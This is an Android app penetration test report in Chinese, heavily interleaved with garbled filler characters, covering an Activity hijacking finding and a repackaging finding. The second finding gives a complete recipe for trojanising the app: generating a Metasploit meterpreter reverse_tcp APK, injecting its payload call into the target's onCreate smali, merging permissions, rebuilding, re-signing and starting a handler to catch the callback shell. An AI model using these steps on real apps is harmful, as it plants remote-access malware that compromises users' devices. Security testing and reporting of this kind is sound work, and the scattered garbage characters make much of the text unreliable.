原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

5 P7 ~, V/ e% P$ @

6 }* V1 t! X5 F. `& t* M. Z
& i+ a9 M' ^+ _9 C% N! L- j

: H; I. |- j3 g! a2 Q2 u2 g ^ S

; x$ x" ]0 N% H5 ]! `

+ _/ x- P7 ?6 b- d- c, w7 O 文档编号：                ( k! @8 ~, p# T! C8 n 6 |& ?" p7 p0 H. M D3 F% m

6 r7 g/ K9 I7 G6 m# Q6 f( ^& F: x- h# E3 N & [, A. ~: q. t4 @ B* o

9 f. J7 F' K) ^ - e5 ?% T Q5 u1 D0 ] q) o+ P5 s   % g/ L1 ~, g; `2 x3 Q2 @9 P

# R3 B3 S/ M& {3 q: l! h+ F" k

" u6 O* |& H) @; ? / \& b0 r% `* I4 _9 L+ J* {   0 |7 t! Z; k8 l$ ?

/ m- L1 C- ^% x/ h+ p, A- ^9 { 1 B; H; r9 d+ L: U7 c5 Y   2 q" [4 ~$ V2 W' ]

& M" p$ P$ x: A4 k

( Y5 X9 l' l) t! Z3 i: W) v+ Q8 Z x , v2 U7 ]* d6 B- h   % I2 ~/ H: I4 {1 a1 w+ j- q 3 E! A' Z5 Q) D. [) V) {

8 c3 h3 V- A9 J( y( g # Z. @. X% L; a# d   y5 v4 Y, m& w! A/ x# K& U" N 2 a; u) a$ N" d4 I1 M% _* a$ B

! i( A- @ Y$ G 2 `9 c- U& Q6 r# ?4 [

2 Q( ^) ~4 b2 `1 G, J3 G5 V# e8 l 某某某APP渗透测试 8 a2 Q( b2 N$ J, e& D6 r 0 Q7 u1 A1 m: q5 ~6 i ^" k

6 L+ [6 Q: ~, }+ x7 K( C7 S8 v( g! p* y

4 }% j6 K# X. H3 {$ R6 R, x5 G   9 N+ U! i& F: }" t% k: S

# ^( y2 A& @3 k- `" i. C" N* u 2 d" b( q. W/ ?' u

5 j* r: x8 e: v; P% k. D9 D  

9 c7 u( E o" J: E, V- h 3 z% k9 F% b& f4 X" A+ o3 x   ; v) H# }; v8 [$ W$ F/ a9 l9 y. C

. I, n6 }1 G5 [; w# b" V$ m. B" C7 M ' L7 I, P, F% C. l

2 J4 k* _" F! o+ ]' R   # M; \% E/ d; E

/ v l( J$ X: {

$ E% x: l* H; h" Z 技 术 报 告 7 z7 K5 K! I; v. @$ U1 Q

% m$ _! L' f3 w7 R+ r, Y  

: w- t7 B1 w8 p1 d8 k8 R3 R# Z' y/ \ & t) V; f$ g6 g- Q: Q1 p* I8 L

: y+ [7 \* W5 O9 j - b) L$ D, a9 j$ o  

* E/ {2 b: `1 x; ~/ F) Q # \2 x, W# ]/ `4 y2 w2 Q: o

 

6 O; p/ n& j! e- I% [ & N& F& P& Z: z" {   : m3 w* H I; w' o. ^5 | 1 Z! k& Y' ?0 I, U; r% r3 ^* y2 f; o( s

9 M! `; g& z* j, z

- Z2 p7 k/ W8 p   C( n. W7 E2 O * m/ Z' i, L/ P5 r$ R4 d

: c: L1 R3 W& y+ h

# h" M3 n4 C [% {: X( y   : n- l$ W7 U W2 B8 t& O

4 j) c/ j4 n' z+ }9 z' e+ b! O: N) A

. K9 K2 k) S& w o3 x" L2 k " O! t1 ]* \+ J2 q/ M   + J4 [2 M9 t4 C& v0 S

- J: L) i+ S4 l

  J7 \" S" |" I) Q+ s; S

5 z" M- M- C( |+ P L

+ @2 ?2 o; j" r( T' Q   * R: n9 \) Q& N* z( t2 ^' |* V6 J

* L, j/ `+ Z5 Y+ T6 q- Y! r

$ Y4 _; ?$ o9 c6 p4 W 6 U7 }, X" y' ]8 t; Y   : }) i' n5 S1 F: m( X4 ^4 J # l, m7 I( x* ]

5 {, V! H; ~2 u# E% o   ! M2 D2 U4 M" H% ]

9 g. I8 C6 v# g" ]3 _* C2 F

1 n e& x. e7 G( s7 L! }- h, P) ? ! [: |/ a6 [2 r/ H# |. p4 t  

! H: v V2 R% }7 b+ E ( u) _) U0 _# } V

  : k+ V' P% p' F, i, V0 ~ ) {" [% p; v8 A- p& t. I

$ I# J# \* ~2 w& k) w - r" y' `+ [2 n+ [' g

/ Z+ V/ t' ]7 W2 \   ^- V' W/ t1 Y6 |, }7 ] " w5 ^' B; I& R0 L$ u& F P: v

/ S- |+ R! I( G$ i; K 4 y6 w; N, E9 d0 y; z* @7 {6 Z1 ?

8 E& j0 o) X3 B* V' A 8 ]* A9 c! J% [ I1 B7 S' v* i- E  

" v* a; m2 K6 M+ l& \

/ N" Y3 k8 i5 f& |5 W   6 P% G7 |+ r1 w) p8 q7 M8 y

+ X( S p: i8 b' V8 Q  

! u, Z0 j: A- U) p5 z

  - g' R& I+ C1 ~$ z. R

( h$ v9 Q4 Y9 Z/ ~ _; H 5 [$ `* r+ F2 G% x$ Q1 T1 F/ A

二〇二〇年

9 m6 k N- a) O7 b: U* Q

' ]# j0 T" h) X m9 A/ G# @ # J; e% f' r% _5 n9 `
3 @! h" K4 b! L' K

1 _; C2 }1 r( y: J: E/ s ) [# I }1 s1 o7 {
; ?, H7 g8 p$ S8 n: \1 H+ e

, J# \# M7 a, F! H 目 录 - j: a6 {4 M$ |" Y/ S" ]

$ M; v, t$ I* V& n& E0 y : a6 [! g/ `) G" O: V/ m2 D) u

8 [7 E7 `2 X; s1 l" y " N2 E/ M& I, N7 ], j z+ y   - R" u, I1 l& D" |+ W# G 1 _4 h3 A0 Z$ x" _

* {' z( `' q3 p% s: |! m$ G Z 1 概述... 3

6 F% X" ?# i4 O" `

1.2测试时间... 3

% r! B/ h# o5 C3 L! g. P

0 z- T8 h0 R- P$ d& Z$ N , C0 z3 d, K3 J+ e v. `, p 1.3测试对象... 3 * O) f7 L N9 c8 T5 s8 Y

- P8 ~0 Y0 Y1 a# i8 i' F+ C% Q* B

3 h6 r( v ~. ]+ B1 k 1.4测试结果... 3 7 @( ]' r4 G- ^, x! k9 J, n

7 [# Y" [8 `4 G `- _ 2 检测结果... 4 ! D2 [+ q! }% S l6 p9 y& C8 S : d$ N4 P# }9 y) v) `

. ]! Q' G- R' j0 |( R) b: i* v7 v/ a ! } r4 x/ G/ a- h8 v ]) L

: d5 p+ _9 @' [7 @9 g ) u$ M0 q: r8 r 2.1 某某某... 4 $ }, I! y; c6 T. ]5 L, x 7 l6 @( M' ^$ r- M4 [4 ?

' y Z. M. c- `5 s) a % m* C! p }0 o) t3 G6 k% w5 i, f

3 u6 [9 N9 w! }: `1 @: B( F% v $ ~6 Z, M& Q: t+ g5 v 2.1.1检测目标... 4 9 I5 Y4 `1 e, E

6 J: p5 c# P( w, Q9 o

/ B9 m$ V3 n( z6 i- f - a }4 h8 F. T+ I0 Q 2.1.2检测结果... 4 6 ^, |' G; p! Y$ t . p4 K$ [$ D) ~4 n

8 V; k2 R+ X4 u8 N( G: k

% V3 e* T( M* J# k) _/ L: O0 V 2.1.2.1. 4

/ ^2 Q5 u, m7 z# S5 L ( V) {" I) q; y 2.1.2.2. 6

( t1 @! S7 Y6 s) k9 F8 K V: O) |0 A/ j- A( q6 N

0 p; x+ @5 h/ p - T D) `$ N/ z0 }# f$ M+ k

! c" v$ }1 p) B7 r7 j& ]
! b% f. X, u' Q# y) ? 3 e/ f+ c; _% h

" {6 C2 B4 l9 D: F" v 1 概述 ) E8 i3 Q1 g; `4 w1 E

& s7 U/ ?3 R+ w6 R6 n8 I& q

# g- M1 c- [' X$ q 1.2测试时间 : r; ?! L( l( B# R+ b1 l c

6 y3 o R" A/ Q/ l1 Y. ` 6 ~5 c4 n; ?' a! I& l5 v- H: e, m( Z _% L0 g+ O+ g3 }) `: H0 A3 s7 |' V; ?% b. I* K8 L1 ^4 j. O. v; F2 J" O$ w4 o6 R' x8 I8 Q) t, w4 n/ A* \8 p/ N& j# L \% [% M* w' F( a- `7 ]/ E) @- E# ^" b, R! a. q9 h, ^' H0 p8 t) X y$ i1 M4 \* J# ^7 t8 l/ j/ R+ t3 B! X3 z0 P' o4 s7 ?+ H- o; @" J7 ?+ ?$ O7 p8 T# I q! C' T8 B2 x% g: z0 k5 _& V; Q& K! n6 V" [+ Z5 \. g" X6 \( R/ X' K" m g- ? R0 K0 f5 g3 d2 W; x, X- J/ h% [

- w5 b7 n4 j7 h2 t$ @% P! Q O1 G: e, U% `# p* P7 H8 `! U, [ . V# e. H# H7 i* _/ o0 W9 S2 ` 渗透测试时间 9 e6 c" {& T% f 4 M! m4 J0 Q! X. l" L 5 I7 E( `! n3 \: F. T8 Z
3 f3 t0 c( m8 v y9 A & @+ N& J; _+ q4 G9 c 起始时间 ! B1 `/ d- G, q	2 L" N& E8 d9 ]# A% ?6 I/ U F- L' x * N# O/ Q {$ J& ~2 R 2020年4月6日 # A! |5 @) t# q8 R0 }% o 4 F0 b7 D* h8 ~; H7 A
$ \' r$ t+ J# j: e4 U% @. E 4 G0 f% w7 P( E' n: ]5 m 结束时间 & ~! n8 ^6 q2 o/ D1 h/ F & O Z+ U! E- |7 n 6 z" }9 m6 J7 f: h: |	7 W* U: g: q3 z 9 V) T& c" c+ {3 p : c) F' a; Z5 X/ I" Z) P: g 2020年4月9日 ( m7 {5 q {6 t6 S3 }$ d" o : D" F( v- A8 u& A% Q3 ? . G l B1 D' ~2 X( L8 @

1 z' [) W3 Y, z+ c ' u. Y. i) y" t( t# E 1.3测试对象 " A7 a e0 N$ I0 D6 O; Z " E1 ]: ?* \0 p s

; m# s, f! t" U 4 B8 l0 }0 R5 o/ F, f

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

, w. ]! x7 p9 x O 表1-1 检测对象 * @) s) N# Z0 A4 j0 ]3 q k0 z

1 i- s1 d s! f6 Q' V3 t. n% C & t: W! U9 O$ Z; V1 M* \" R9 h- H9 j' A+ p& }, ~; M" d/ Y; o- ^2 B( S: r& P; G, k$ H, M- w$ u2 M- }( [2 g8 X: M: P6 I1 W2 G: f' x5 k8 V5 x3 V! r1 ?% P; M+ }9 c2 H4 @/ j' u7 l: H3 M+ |8 V# Q0 ~* z4 b) L$ e6 i) R9 Q- d1 b; q2 n4 A; L0 |+ N1 s5 J/ F; t* G8 x3 v4 A4 o. p5 c( [: W3 {+ l( z: H) O& Z4 X* V/ x6 T4 [. Z4 q& f5 A1 V/ ~- G+ p, y! [* v/ [8 M, }# L+ x) i1 [% V0 i) F$ W1 k I. a! E7 Y! o/ G" e# g# \& b! N2 w* E0 p- u8 W S, z; ` l, P3 I4 r# Q {: u# l# E/ P8 ?5 P% g- V9 E

+ s; `# K8 y3 M- R; y5 M* E# g + n' n. r6 f, m7 b" X 序号 % @4 G+ O1 M; W- G. Z' W2 p ( v0 [: }# F2 l9 [8 x( u * A, P( O3 Q# a	测试对象 - p) e, f% d3 g2 J! Q% s" t, W 8 S9 g7 V: U+ W; U. r ( V" x6 W9 u7 W6 J	- s" j$ X, r9 O0 t' w 8 ]- `! K: p8 A: ?4 p p/ L ) ~5 ~) |6 k% _+ X W( D ' P& r N+ w' c% Y+ O0 t, i 测试地址 & N5 s* `8 D6 Q- d# M& |3 z . D7 Q2 e4 V- x( t" X) G p& T ) H& [; U5 B4 [3 T% q0 g	$ d" c( B2 S% F 安全漏洞 " U0 k; _( x J& @6 P 2 L q- M4 X( L, ^) v 8 G' F2 X, _: n4 d3 e
! O( ~. A& @$ M+ x3 `7 r 1 - Y- _& Y |2 x, R9 ^ 6 S: S: ]2 j4 G; q/ c% v8 X : g; C$ c7 ?* a7 ^$ l4 \7 ~	( T+ `" y- Q5 i6 o 某某某安卓APP 8 Q# s7 f8 |. w( u4 ^$ V" h 0 ^1 H- y: M a4 _	6 a1 G* a/ T/ x( h! i) Y2 S- P# o + M% h4 M! ?. w* j& R; h, _   8 ^' V# Z7 m. x4 U8 u( F	% i) g: _# F- I, @5 }, h) |: O, B$ Q 2 ) }$ W2 n4 _6 I7 R & T9 h) b9 ]0 n6 C! _/ T0 h# u4 U . v* @! F- e9 i

3 F; Q5 _, }$ ?8 L9 t* i- U

9 S8 {- w% J( a' S- f- P 1.4测试结果 ' E: W; l: ^' K: F" }) u 7 V! k/ V7 D! E7 h6 O9 b

+ z- a" x; N( W! \5 s i4 k4 g( [9 ]8 T& ~/ e$ D" v

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： b" V( `$ S1 m1 f' t* O, X

' B$ J) S# }* x f

* X2 l( R, R; d4 u2 s% J   1 A8 L% f4 W# O: Z9 X6 K! J, h! s 0 ^7 K1 u, u j) B( g. c9 i! w- x

* t" g X, g! l* j9 e

- Q' j5 g0 _, X/ }$ S- w 8 }% q/ C, W2 l/ m2 q; g* R6 z( S6 W) m& b, Z+ C9 Q' l0 }4 R Y( E- Q7 m# Y+ p% t- L2 M" z2 x( x+ ?, s0 k# z! l5 T4 p& ]. R0 S( O$ @9 |! N. S1 V9 l [7 t, c# V. x, [# j4 p$ `( Y% @" Q) M, o$ c# |- @5 r+ u4 f& _4 M$ z( K( n F$ i0 W3 @& `2 x t x; N$ v% m. \6 [3 a( K" B; v% L! t+ H9 s* q2 x n" J! i3 K& b, Y2 ^" j% o/ W( b. O. p! I" h, o4 v) V v' z8 G; y( t. l, I& Z9 N, o; w( J" m& a2 K* d3 H1 Q1 B) ~, d+ R6 }: w; R9 b- V: V) j$ P% j( X4 P7 x X- Z3 M3 Z4 _# B Z+ @" c% a! d6 r" n: i, N" r% u- q$ [) \8 Y3 Y* W& `+ @0 X( S+ C7 z6 F; q$ K3 S0 Z2 U% t( H, Y$ z. L$ z5 L4 z* X8 G& g: Q, ]& _. P- B- b$ n

1 e- A6 i$ z# B* G. ], s4 L + W9 v0 B4 e: n. r6 Y& }. `6 B1 } . D$ q' K* F2 r& B4 ] 序号 & Q3 |. U5 ^+ c/ i7 y7 \ / t* p8 x9 w v9 j ' P- u+ U4 t6 x$ v5 [	7 o9 ` G3 ^9 @ 系统名称 4 K, X8 a2 t; a5 Z1 i3 J! E' I	5 o6 `8 ?8 j+ z/ D( g& Z 8 p a" ?- O( Y5 P 漏洞名称 ! q( J, p) k V; P! L3 I % H$ X' i* U) g0 c4 P E	0 z+ P5 ~( T9 H( ^: w( Y0 } * C m8 `' m) Y0 A& x / u. q n( a6 W9 f$ X 漏洞危害 5 Y2 o% k/ T: r" V/ ?5 y, r2 N	& F. ~; o2 k$ K" J ! n& \& n: B# D% d* G n9 X% e2 V' H- P* g 修复结果 : Q( |" r- A3 o$ e' A; V% s" a % w& W0 H8 Y6 s& b: v6 ] ( j @) a0 L$ u8 h8 [% a
7 A3 ]; }. R% Q0 K, f. p" d; P) t 9 W6 p+ H' g8 A) y: `- j% a ( k7 a& b6 ^, _6 l) ^; A 1 " U" b8 }' ~ G$ j* L " z- l. Q, m+ p6 G. C$ [3 C4 B	4 P% f5 s" V. D$ o! f* A 1 _" Y B4 [" C 某某某某某某APP # F" q3 G ~6 B7 E0 |7 H + Y% o. A5 M" \" [% G	3 k* K0 I* A6 f% M' s+ \ Activity 劫持 ! q' T' \ n) V3 ~ 7 t4 `$ e5 s F: k" y: w	4 Q$ [2 l R0 J7 k7 V 高 ! t4 ?5 ~1 c8 N; s* t( J7 T8 q	' l" z% ^: D( l5 y6 @, T   # k2 X3 e: t+ b7 z: _ : s1 p& r- w6 a' t; B# v( T
3 u0 h0 `, H" l3 d5 T 2 3 V$ E) G( }2 U" s) ] J6 d- Z8 g- x) O / I1 D( o; q$ K& E$ @% P; n: g	e2 `# [2 I3 P# l. Y 某某某某某某APP ! {0 R' }( h3 O+ K $ ^2 H7 O( d' M8 V* k5 P	0 X" x: A2 _) s6 @# P. H$ g , G6 l7 `; }6 C3 @" ?$ l( S; ? 反编译二次打包捆绑木马、篡改APP代码 $ U" ]9 ^$ M, X, k . W2 q" {" N! X, _& |3 s 4 @& l# @8 C q; J. ~	1 F( _1 m% D" c) [ 高 , J0 c" z2 H6 l, o 3 F( x f* {* t- {	- w" | P: F8 F2 _: c4 ~ ' n* o" Y) R! y   ; ~2 P* m% l3 r

: C9 ~ u* y' @4 S1 y$ n+ Q 7 n9 K: D+ q0 W

7 {) d3 S" u8 E' @) |, j ) k3 `6 k' C* [

" E2 u) c# t; k& n   : m/ M3 A/ p+ E5 F9 T& H% a; c

4 Y. A4 }+ l7 O9 R 表1-2 测试结果

/ O/ }5 i; F6 I, y( k 6 [/ Z7 k1 u% s$ e! H

( ~0 r8 _2 v& m  

h8 `* h2 G. C: Q7 s7 @: O9 [ 2 检测结果                    . n p. I" _+ b1 e8 {: M

9 q2 I% Z1 `1 d; B- Q

2 i/ g6 u+ K1 X 2.1 某某某 5 ]8 x/ j/ L6 [2 i! U; y& k 8 e9 W* o" ?1 k4 f. P0 Y3 z+ V

: B0 X- x, \: N* O9 |" s% } 2.1.1检测目标 0 o q( o: u; w, I

/ g3 U! e% W$ b7 H

& a7 R7 I/ D6 k+ b 目标地址： 某某某某某某APP 5 ^' l, m$ d F/ h( F' e( ?( Q

6 W# I# k: y7 T) |0 |7 R& p 2.1.2检测结果 & B3 W: d% u# y# N& U. ?

2 Y( A% J! U2 I* a) C E% r& P0 e2 b% a0 C$ m! {/ J' F

9 l! v. q5 X9 V( D: u5 f 2.1.2.1 * k& u: M6 n4 }

6 f8 K1 R. d5 V& k) p

- U5 l+ I7 i, f6 p# ` 漏洞链接地址：某某某某某某APP

- [) d* S+ o' G: x8 e: d

/ b/ W' k+ `2 c$ Y8 ~8 v $ \- t9 h) I+ t# _+ ?# Y/ q   & L2 t# N$ w$ z

6 t; E" A" R, G# F- f7 b+ F1 f

: Q9 j0 Q5 n5 ? 漏洞分析及取证： ' ~$ `5 c- `) y, }4 A; M* H

; y4 X4 m Y) Z% k! \9 e ! F; V2 G( i' X- O8 M7 z

$ M" K. U) v) R: O$ l7 y7 z4 R9 _ 5 V; V- G- U0 t6 \# }                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

9 X7 B2 n' M3 n' @5 r0 R . S! @' Q( G3 Y' L5 P8 g      : ~5 k7 C1 o l; @8 q$ l- _

                      . s+ [7 u, H2 ~2 l( }$ K & j1 o9 x. Z1 S0 b2 b7 ]

0 i7 D2 ]5 `5 @7 K* O " E- Y& s0 j9 F' F. ~

C! O+ L2 t2 X- R3 V 3 B' f' p$ y" p1 J! I" v- n

! e# _8 H- k1 [- r2 d

9 g$ S3 J' \1 o' c6 t- b 2 N0 g' W% u) b v! g9 u7 Z3 } ( L0 d' p0 [# k. m* f. J

1 x; i; C! Q% T( Z* d* r

/ L$ a4 ?" F1 ?% n 漏洞危害：高

4 v! R' W/ L8 w- l2 e9 e7 `3 r+ _& _& C! G q- _) [4 I/ Y2 p6 J* H$ |4 U# `9 P- f6 B& A; J; |2 |7 T+ ]! B# e- q3 m! F1 z8 i: n9 x$ M2 z1 E# d5 X3 G" c t6 B5 z* T& z1 W# F' c* v% B3 [& d+ ]0 v, _8 K0 R6 C3 S8 A, i. }/ |# |1 B% H6 H. Y0 u+ d5 q) k* ?4 s7 g1 M) ^& ]! u1 e h. Y/ l4 | K1 U( U$ |1 r) N3 S% z. v% B' O& K

9 j9 f+ u! T6 n8 ~4 J4 N. c 严重程度 - V4 V/ P( d0 m$ `& ^4 V- x2 ~ / v/ m9 W: v/ M2 i* n	9 X! R/ P, ^ a" k$ u- g 4 W4 o( x$ |1 N0 ? 7 k) {& |! S+ v3 P7 C. N0 r 高 0 g6 _$ ^: k3 }6 {: e/ O7 f7 J	■ * u: ?' S5 ^- Z! {: J! @; J% N 0 }6 y7 P( f" p+ H7 I : E4 K4 P7 z' _$ S	* P2 l2 A8 F' q( ` $ m9 u+ D& U& e5 I) |$ ^ ' C z1 g% P7 J: E% ` 中 & B7 X2 F0 w! o7 Z. G, ]& ?6 {* O	/ ^/ ] M8 r8 D3 j- J. x. M ; t$ e' j" I e   ( Q7 B1 u+ a6 l0 {7 v) q1 b : O/ R* L. G Z$ I8 Q: l6 M ' O( z: B4 a& J6 ?8 Y	z9 n; d' X3 }8 ]$ d) q' ] 8 J5 \/ J- `# z' C/ U 低 6 W- d5 z* g3 Y. Z, M- v9 O' s 8 `7 J* u( V% }+ ^. v% ?# |; F & z6 c; x, b4 ^/ c) P6 w/ f" ^" Z+ g ! d' i4 h( }8 s5 B0 V	6 G$ y2 H+ x7 U+ k) N" F" r* S( @ + ?7 O$ n1 d$ ?% E   : y, X/ H9 _; R2 E0 O3 k

( Y; g+ Q6 Z, a, {: d6 h6 Q0 P

/ n' _. w. s5 I! W# A J, V. k 8 A/ n/ X ~2 c( B: K1 O: W   ) h( ?5 X7 F8 q( I3 r5 t6 U

# j5 E* Q/ s y( |3 d9 d P0 Z

! v. w' O8 }( H; G& ` ; B" R. E" q1 X5 Z% a 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

, `- C; V: ^- S 5 t1 q0 {' u) @2 O

/ [6 K( ^( G. y9 D0 L          

# T# }4 K2 Z: `! q) c% G

2 k; F( k2 u5 x& J' f' F. F / K: _. V+ n4 `# P. K   3 ]! h& o+ |3 V

6 e8 i/ w, i$ {/ V % w. C0 i' z, B$ {

; T! t8 I* O& i3 P, M 2.1.2.2 2 R: }( D f; F$ h* b - D5 P/ I3 [8 J P7 o

$ L E7 U; f# Z; V0 a7 E* U

2 @4 N" Z% K: n/ W. y* S! X3 K4 @ 5 ^( n3 _0 T: J$ U1 k" {& e! ] 漏洞链接地址：某某某某某某APP ' h! s) h. Z! s2 W* I

( m9 y) U9 E( u$ Q5 Q 8 t$ E! h7 `0 \: `4 j! o

漏洞分析及取证： 7 g( S8 M6 M- T2 A; {& ^ 6 P% i9 h& X" }/ V

7 H/ {; q! s" E) @. J

) Z% T- U* i7 B/ U% b                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： ( R# M* q5 ^" u

0 Y2 {% B3 V2 k; O, v 用Metasploit 生成木马 apk H8 R6 h. ]( C4 w ! Y! B% L" P1 S2 }- a& |' V

0 R$ R# H3 O0 v3 L- j M# T" }

1 W. \* k* d0 J1 t msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 3 s# j( E! v. r }% U2 V' o7 K! v' u( t% F9 n

4 X( j k. U2 K/ A) \3 u

- v0 p( J# j, s0 q2 V $ V/ F$ `3 Y8 `% } ]$ h 反编译目标apk和木马apk 4 k* F& r# [6 d S 0 h0 @* r; Z3 v; ]7 ^

& x% `1 g' j: \" \

, a$ y; R4 h$ B' y apktool d target.apk
, |* P; i) Y$ \- R apktool d cockhorse.apk

* Y% P, B2 |9 W! |) M9 ?

7 E) K4 w0 m5 l1 g- L 木马 apk 注入目标 apk 2 c- J. g' X( Z- D& B

2 R4 k' f1 K: n3 F4 S # ~& a2 o4 [* H- ^7 K; F

3 }' ^4 V2 z+ g 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
6 d; x' |2 y& O) Y: W$ H! b invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

3 D9 i# m u: S8 d& I4 q0 S: J

! B, h8 e @. n& T+ e 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

0 X/ E: {4 L6 G) d

4 Y/ u+ F" K+ G/ r* }3 P5 _ 6 g$ e7 \6 k8 u# o: [+ p 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

回编译生成最终 apk

a! N! m e) X, M( f( j6 j

4 j- P8 P2 V G T( N$ W! M 重新打包 4 }: c9 W, D1 T. g' w

: y8 A) i9 |$ N1 ]6 B

apktool b -o repackage.apk target_app_floder : l" @0 T! M$ ~. _" B

7 e+ w# K$ ~. R- c" Y5 L2 S * J, _! H& m, m# o

9 R" A) ^$ _% t9 f! o8 y ; ~- `9 E3 L/ }% s2 h 创建签名文件，有的话可忽略此步骤 0 N8 z4 r4 Z# ^6 y0 U$ z

* q5 j( S, t* B$ ~. D

+ n% e# f0 X7 ^9 W keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

6 F o, T. R: E

4 q/ E1 g/ J6 b% w$ l7 F6 S 签名，以下任选其一 3 S" C/ }8 {" K! p. k3 j: ^

jarsigner 方式 5 \* t5 ?( u; k9 ?

) I8 k7 x6 Z$ D0 b8 ` jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ) m9 I& S) y- Z0 R 4 x0 i2 P9 U1 N

' W$ |4 T/ k7 ~& v / t7 I5 T% s3 f

' s/ s, } R* m apksigner 方式 2 Z* H W1 V5 r" d$ }) I! G5 H: [

( L0 O* T2 \! J" k ' m1 A I/ n$ W, w2 f8 Q! T

9 d" t, h: K, e! G, R) o2 I7 I + d9 `3 ^% p2 A$ B" n5 ]% X8 \" E apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 7 A* g* `* g; k) f

( x, A* q. `2 F* w, s3 r

1 ` G4 A, o+ V 如需要禁用 v2签名 添加选项--v2-signing-enabled false " Y2 I1 Q) l) [

) k* P5 y, K& f* d, [0 [

8 m( w; T6 ?1 H- l+ z5 W5 L0 g1 o: \ 验证，以下任选其一 * O* G$ u. j8 E9 [, k( l# `

7 |8 Q% n* f5 j( n z6 O3 |

jarsigner方式

" b5 h3 k4 y) P7 y2 q: L

7 b# n1 M6 q w9 l5 Y5 g* c jarsigner -verify repackaged.apk ) t+ C* B: q# r- t

- C8 u4 T% f3 R

. ^6 d) A. A6 d: d& S5 } ( ~( H9 T- t9 n# H* o8 [! V apksigner 方式 & o3 m& N, p2 j. c, }

8 d- @' L* w# _3 q4 L7 Y" B

apksigner verify -v --print-certs repackaged.apk ! |/ \3 v9 C4 @, S$ k1 C) i

+ V6 s! m n& z& D1 K2 ]" I keytool方式

; r2 k! q" k0 p! ?7 h

' J& I1 t+ S$ x7 @" v# v6 t0 _ keytool -printcert -jarfile repackaged.apk 8 W8 z3 z. r7 z: N. A

_$ d+ E( b- _8 a7 ? / m2 V( C' E( }: h7 [8 k! g

, @; B, ?7 n6 ^: C1 v; t% z5 R; n ( R n7 Q# [: X1 W 对齐 L/ r4 ?' X) ]2 z + o+ J! G. ?1 h F5 Z L* d5 c

8 x' G9 @! Q3 k) z# g6 B

r& f3 J3 `9 H7 v 字节对齐优化 ( c+ H$ r$ H' g

$ i. z. Y) E2 B3 L" m5 C3 u zipalign -v 4 repackaged.apk final.apk

检查是否对齐 5 J U! A1 }1 D: c: x . @5 V9 N' D+ R9 S- E' p

" |9 T6 w0 ?# L! T1 ]

+ V" R: Y) N0 p2 \* M- v zipalign -c -v 4 final.apk 1 Z1 K, _( v& q2 b9 \: R

$ h5 D- ^0 b/ ]! ? $ {6 Q2 `" |0 x9 s D/ ]# F

2 C9 [' h X& v8 |$ ~ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

4 _2 O7 o; Q1 a

2 \4 f9 a: L- k9 U 启动Metasploit控制台，配置参数等待上线

: Y- L6 d( j! m/ {

P6 L- O7 a6 a! u+ c1 B; i 在终端依次输入如下命令

0 U& r1 }. h. } c ' ` L1 k' b ^$ h9 F2 q( g- G3 B

msfconsole ' N( ?/ y& w1 l. M

use exploit/multi/handler ! V3 T* m V+ d) _% D ~$ u & v8 Z* a. y, z/ i* A9 @9 S

: u \7 `# _8 \# N 7 t, f2 }4 _7 m" l* b

3 l) ?# C: F7 `6 \ set PAYLOAD android/meterpreter/reverse_tcp

7 O: q! c* k; x$ M

) ]9 E6 K o+ a2 V9 u set LHOST 192.xxx.xx.xx / a! Y* E$ a4 v' U

set LPORT 4444

+ g2 N5 @0 u9 J1 d3 b/ |

" h2 l4 D f( O- u3 M1 N: P 8 I3 M) q2 V7 P# r3 F. v exploit ) o1 V" `7 r! C, ]' c4 C

& ?. Y! C2 U j! [ B

0 g9 o0 Y, S1 O1 M4 }7 v! W$ B 7 x9 t, A+ r6 S: r 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

' ?. \- J. f K. F4 l 漏洞危害：中 8 ?1 S) B# s0 v! f

& Q+ D4 k! L9 r8 N/ |0 u, L8 T 6 d: G$ X- j7 X6 I6 U

9 g% F; I. f; z2 Z* x( a A/ b, j6 H% m8 ~, b5 O ! w! X. q% G9 _$ u# M- L5 D6 V 6 [& Q. \+ E* Q7 l7 e/ | U; m: A' d+ S5 t0 [, x4 i+ i; L) T2 `. }! f Y7 j( C {. Z( O# ~: l$ i) H! V( b1 ~' K' K4 r" ] e* s" z# J. z* e) f6 q6 l2 A) z6 R! y6 O5 g8 J9 q7 \) x' p2 L& H5 m: v- v2 R5 U# ^" l+ d6 B; L9 j6 X9 U4 |! Y- F0 y' O2 m0 `2 R9 z6 t0 d9 p% c! B' U; D( p5 X2 {8 M* `6 X% u& Y2 |7 b% t: o; q8 O- z9 n0 ^ V7 r( t

